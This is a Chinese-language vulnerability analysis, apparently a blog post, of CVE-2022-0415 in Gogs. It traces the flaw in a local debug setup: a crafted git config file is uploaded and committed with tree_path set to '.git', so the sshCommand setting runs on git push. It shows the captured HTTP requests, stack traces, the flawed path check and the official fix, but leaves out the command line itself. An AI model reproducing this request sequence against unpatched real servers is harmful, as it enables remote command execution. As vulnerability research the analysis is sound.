gogs是一个golang开发的git web server项目。
CVE-2022-0415:在gogs/gogs 中上传仓库文件时的远程命令执行。
Remote Command Execution in uploading repository file in gogs/gogs
漏洞简介:
CVE-2022-0415,利用了gogs上传时缺乏对参数值的判断,实现了命令的注入;再根据git特性,命令可在gogs中被执行。
受影响版本:
0.12.6以下的都受影响。(不含0.12.6)
修复详情:
diff https://github.com/gogs/gogs/commit/0fef3c9082269e9a4e817274942a5d7c50617284
pull https://github.com/gogs/gogs/pull/6838
根据git官方文档
https://git-scm.com/docs/git-config
core.sshCommand
If this variable is set, git fetch and git push will use the specified command instead of ssh when they need to connect to a remote system. The command is in the same form as the GIT_SSH_COMMAND environment variable and is overridden when the environment variable is set.
解释:
如果设置了sshCommand变量,当需要连接到远程系统时,git fetch 和 git push 将使用指定的命令,而不是 ssh。
该命令与 GIT_SSH_COMMAND 环境变量的格式相同,并在设置环境变量时被覆盖。
本机测试一下:
环境准备,我直接在macOS搭建环境了。
# 代码 git clone https://github.com/gogs/gogs/ # 切换到 v0.12.5版本。打了几个断点,后续可见。 # 配置数据库 mysqld create database gogs;
启动gogs
进行初次配置
创建了1个账户admin1并登录,创建了1个仓库repo1。
访问http://localhost:3002/admin1/repo1 点击“上传文件”,上传文件。
上传一个名为config的文件。内容为:常规config文件,再根据官方文档,自行加上sshCommand
即可。(就不写这一行了。)
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
[remote "origin"]
url = [email protected]:torvalds/linux.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
抓包-上传文件功能:
request1
POST /admin1/repo1/upload-file HTTP/1.1
Host: localhost:3002
Content-Length: 572
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="100"
X-CSRF-Token: YdUSVCYfWjcmMJa-_L8-zwaB7zQ6MTY0OTIzNzA0NTcxMzI2ODAwMA
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.60 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryofjLZyKNqVjTSLhL
Accept: application/json
Cache-Control: no-cache
X-Requested-With: XMLHttpRequest
sec-ch-ua-platform: "macOS"
Origin: http://localhost:3002
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: lang=zh-CN; i_like_gogs=ea69248b2edcefa9; _csrf=YdUSVCYfWjcmMJa-_L8-zwaB7zQ6MTY0OTIzNzA0NTcxMzI2ODAwMA
Connection: close
------WebKitFormBoundaryofjLZyKNqVjTSLhL
Content-Disposition: form-data; name="file"; filename="config"
Content-Type: application/octet-stream
[core]
(上述配置文件的内容)
------WebKitFormBoundaryofjLZyKNqVjTSLhL--
response1
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Date: Thu, 07 Apr 2022 06:43:54 GMT
Content-Length: 52
Connection: close
{
"uuid": "85cdd4d7-41b4-45cc-9149-0c7364471286"
}
此时文件内容被保存至临时文件夹下的这个文件中.
/private/var/folders/r4/x0h2gfcj6rg3z4cv7r2rlgb00000gn/T/GoLand/data/tmp/uploads/8/5/85cdd4d7-41b4-45cc-9149-0c7364471286
第1个断点:repo_editor.go的316行
func UploadLocalPath(uuid string) string {
执行到此:看下变量与值
变量name 的值 为字符串 config
目标路径 localPath 的值 为字符串/private/var/folders/r4/x0h2gfcj6rg3z4cv7r2rlgb00000gn/T/GoLand/data/tmp/uploads/8/5/85cdd4d7-41b4-45cc-9149-0c7364471286
结合http请求可知,变量name为上传的文件名,是用户可控的。(一般要在这里做点操作)
文件内容 实际被保存到了 目标路径 localPath ,其中最后的字符串是自动生成的uuid,不可控。
此时的调用stack:
db.NewUpload (repo_editor.go:341) gogs.io/gogs/internal/db
repo.UploadFileToServer (editor.go:545) gogs.io/gogs/internal/route/repo
runtime.call16 (asm_arm64.s:507) runtime
<autogenerated>:2
reflect.Value.call (value.go:556) reflect
reflect.Value.Call (value.go:339) reflect
inject.(*injector).callInvoke (inject.go:177) github.com/go-macaron/inject
inject.(*injector).Invoke (inject.go:137) github.com/go-macaron/inject
macaron.(*Context).run (context.go:121) gopkg.in/macaron.v1
macaron.(*Context).Next (context.go:112) gopkg.in/macaron.v1
session.Sessioner.func1 (session.go:192) github.com/go-macaron/session
macaron.ContextInvoker.Invoke (context.go:79) gopkg.in/macaron.v1
inject.(*injector).fastInvoke (inject.go:157) github.com/go-macaron/inject
inject.(*injector).Invoke (inject.go:135) github.com/go-macaron/inject
macaron.(*Context).run (context.go:121) gopkg.in/macaron.v1
macaron.(*Context).Next (context.go:112) gopkg.in/macaron.v1
macaron.Recovery.func1 (recovery.go:161) gopkg.in/macaron.v1
macaron.LoggerInvoker.Invoke (logger.go:40) gopkg.in/macaron.v1
inject.(*injector).fastInvoke (inject.go:157) github.com/go-macaron/inject
inject.(*injector).Invoke (inject.go:135) github.com/go-macaron/inject
macaron.(*Context).run (context.go:121) gopkg.in/macaron.v1
macaron.(*Router).Handle.func1 (router.go:187) gopkg.in/macaron.v1
macaron.(*Router).ServeHTTP (router.go:303) gopkg.in/macaron.v1
macaron.(*Macaron).ServeHTTP (macaron.go:220) gopkg.in/macaron.v1
http.serverHandler.ServeHTTP (server.go:2916) net/http
http.(*conn).serve (server.go:1966) net/http
http.(*Server).Serve.func3 (server.go:3071) net/http
runtime.goexit (asm_arm64.s:1259) runtime
- Async Stack Trace
http.(*Server).Serve (server.go:3071) net/http
(此时server文件系统中已经有文件了 只不过路径不可控,是uuid结尾的)
继续,点击“提交变更”
抓到请求
request2
POST /admin1/repo1/_upload/master/ HTTP/1.1
Host: localhost:3002
Content-Length: 195
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="100"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.60 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: lang=zh-CN; i_like_gogs=1e6fcd3311b0b672; _csrf=E_P0IOSWdRSGfzood1cFb1pxwJI6MTY0OTMxNTI2MjU3NjQ2NzAwMA
Connection: close
_csrf=E_P0IOSWdRSGfzood1cFb1pxwJI6MTY0OTMxNTI2MjU3NjQ2NzAwMA&tree_path=.git&files=0e25760b-f51a-46bb-9511-32b5047aab43&commit_summary=sum&commit_message=desc&commit_choice=direct&new_branch_name=
将tree_path的值修改为.git
发出http请求。
第2个断点:repo_editor.go的452行
func (repo *Repository) UploadRepoFiles(doer *User, opts UploadRepoFileOptions) (err error) {
执行到此,然后一行一行往下跟进。
第484-499行是个for循环,作用是复制:变量uploads中的每个文件。
把每个路径 tmpPath(整个不可控:路径不可控,最后的文件名是uuid也不可控),复制到targetPath。targetPath是否是可控的呢?
看下变量与值,我在自己mac系统下调试时,targetPath的值为 /private/var/folders/r4/x0h2gfcj6rg3z4cv7r2rlgb00000gn/T/GoLand/data/tmp/local-repo/7/.git/config
根据下面这一行代码:可知targetPath的值由dirPath和upload.Name 拼接而成。
targetPath := path.Join(dirPath, upload.Name)
仔细看targetPath的值:
request1中的filename 即变量upload.Name 值为 字符串config 【用户可控】 会检查 该变量是否包含字符串.git 所以不在这儿考虑了
request2中的tree_path 即变量TreePath 值为 字符串.git 【用户可控】 不会检查该变量是否包含字符串.git 就是利用这里。
附:做检查的函数 isRepositoryGitPath的函数体。
// isRepositoryGitPath returns true if given path is or resides inside ".git" path of the repository.
func isRepositoryGitPath(path string) bool {
return strings.HasSuffix(path, ".git") || strings.Contains(path, ".git"+string(os.PathSeparator))
}
(for循环 复制完成之后)
此时,目标路径targetPath被写入了内容,即local-repo某个子文件夹下的.git/config文件被覆盖。(也就为后面命令执行打了基础,只需要想办法执行git pull/push 就行了)
执行到501行,执行 git add操作:
执行到515行,在localPath下执行git push
就在此时,会执行命令 .git/config文件中的core.sshCommand的值!
跟进git-module
此时,命令执行完成。
gogs server端会打印出报错信息,但并不影响web应用的运行,和当前的命令执行。
此时的stack:
db.(*Repository).UploadRepoFiles (repo_editor.go:515) gogs.io/gogs/internal/db
repo.UploadFilePost (editor.go:493) gogs.io/gogs/internal/route/repo
runtime.call128 (asm_arm64.s:510) runtime
<autogenerated>:2
reflect.Value.call (value.go:556) reflect
reflect.Value.Call (value.go:339) reflect
inject.(*injector).callInvoke (inject.go:177) github.com/go-macaron/inject
inject.(*injector).Invoke (inject.go:137) github.com/go-macaron/inject
macaron.(*Context).run (context.go:121) gopkg.in/macaron.v1
macaron.(*Context).Next (context.go:112) gopkg.in/macaron.v1
session.Sessioner.func1 (session.go:192) github.com/go-macaron/session
macaron.ContextInvoker.Invoke (context.go:79) gopkg.in/macaron.v1
inject.(*injector).fastInvoke (inject.go:157) github.com/go-macaron/inject
inject.(*injector).Invoke (inject.go:135) github.com/go-macaron/inject
macaron.(*Context).run (context.go:121) gopkg.in/macaron.v1
macaron.(*Context).Next (context.go:112) gopkg.in/macaron.v1
macaron.Recovery.func1 (recovery.go:161) gopkg.in/macaron.v1
macaron.LoggerInvoker.Invoke (logger.go:40) gopkg.in/macaron.v1
inject.(*injector).fastInvoke (inject.go:157) github.com/go-macaron/inject
inject.(*injector).Invoke (inject.go:135) github.com/go-macaron/inject
macaron.(*Context).run (context.go:121) gopkg.in/macaron.v1
macaron.(*Router).Handle.func1 (router.go:187) gopkg.in/macaron.v1
macaron.(*Router).ServeHTTP (router.go:303) gopkg.in/macaron.v1
macaron.(*Macaron).ServeHTTP (macaron.go:220) gopkg.in/macaron.v1
http.serverHandler.ServeHTTP (server.go:2916) net/http
http.(*conn).serve (server.go:1966) net/http
http.(*Server).Serve.func3 (server.go:3071) net/http
runtime.goexit (asm_arm64.s:1259) runtime
- Async Stack Trace
http.(*Server).Serve (server.go:3071) net/http
到这里就跟完了。知道了如何实现命令执行。
官方修复
根据diff可知 https://github.com/gogs/gogs/commit/0fef3c9082269e9a4e817274942a5d7c50617284
internal/db/repo_editor.go 增加了对TreePath的检测(还是使用isRepositoryGitPath函数),所以TreePath也不能包含字符串.git了。
// Prevent uploading files into the ".git" directory
if isRepositoryGitPath(opts.TreePath) {
return errors.Errorf("bad tree path %q", opts.TreePath)
}
附:做检查的函数 isRepositoryGitPath的函数体。
// isRepositoryGitPath returns true if given path is or resides inside ".git" path of the repository.
func isRepositoryGitPath(path string) bool {
return strings.HasSuffix(path, ".git") || strings.Contains(path, ".git"+string(os.PathSeparator))
}
CVE-2022-0415,利用了gogs上传时缺乏对参数值的判断,实现了命令的注入;再根据git特性,命令可在gogs中被执行。